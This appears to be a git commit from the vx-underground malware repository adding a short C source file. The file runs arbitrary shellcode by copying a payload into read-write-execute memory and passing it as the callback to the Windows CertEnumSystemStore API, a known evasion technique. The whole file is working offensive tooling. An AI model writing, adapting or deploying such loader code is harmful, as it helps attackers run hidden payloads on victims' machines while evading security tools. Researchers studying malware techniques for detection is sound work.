updates and enhancements

updates, new code, thnx rad98
This commit is contained in:
vxunderground
2022-10-22 10:11:09 -05:00
parent bb9b773407
commit 3f2e64a7a0
14 changed files with 251 additions and 1 deletions
@@ -0,0 +1,44 @@
#include "Win32Helper.h"
DWORD UnusedSubroutineDisposeableThread(LPVOID Param)
{
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
CERTENUMSYSTEMSTORE pCertEnumSystemStore = NULL;
LPVOID BinAddress = NULL;
HMODULE hModule = NULL;
BOOL bFlag = FALSE;
hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll");
if (!hModule)
goto EXIT_ROUTINE;
pCertEnumSystemStore = (CERTENUMSYSTEMSTORE)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStore");
if (!pCertEnumSystemStore)
goto EXIT_ROUTINE;
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
goto EXIT_ROUTINE;
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
if (!pCertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress))
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (hModule)
FreeLibrary(hModule);
if (BinAddress)
VirtualFree(BinAddress, 0, MEM_RELEASE);
return (bFlag ? 0 : 0xffffffff);
}
BOOL ShellcodeExecViaCertEnumSystemStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
{
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThread, Sei, INFINITE);
}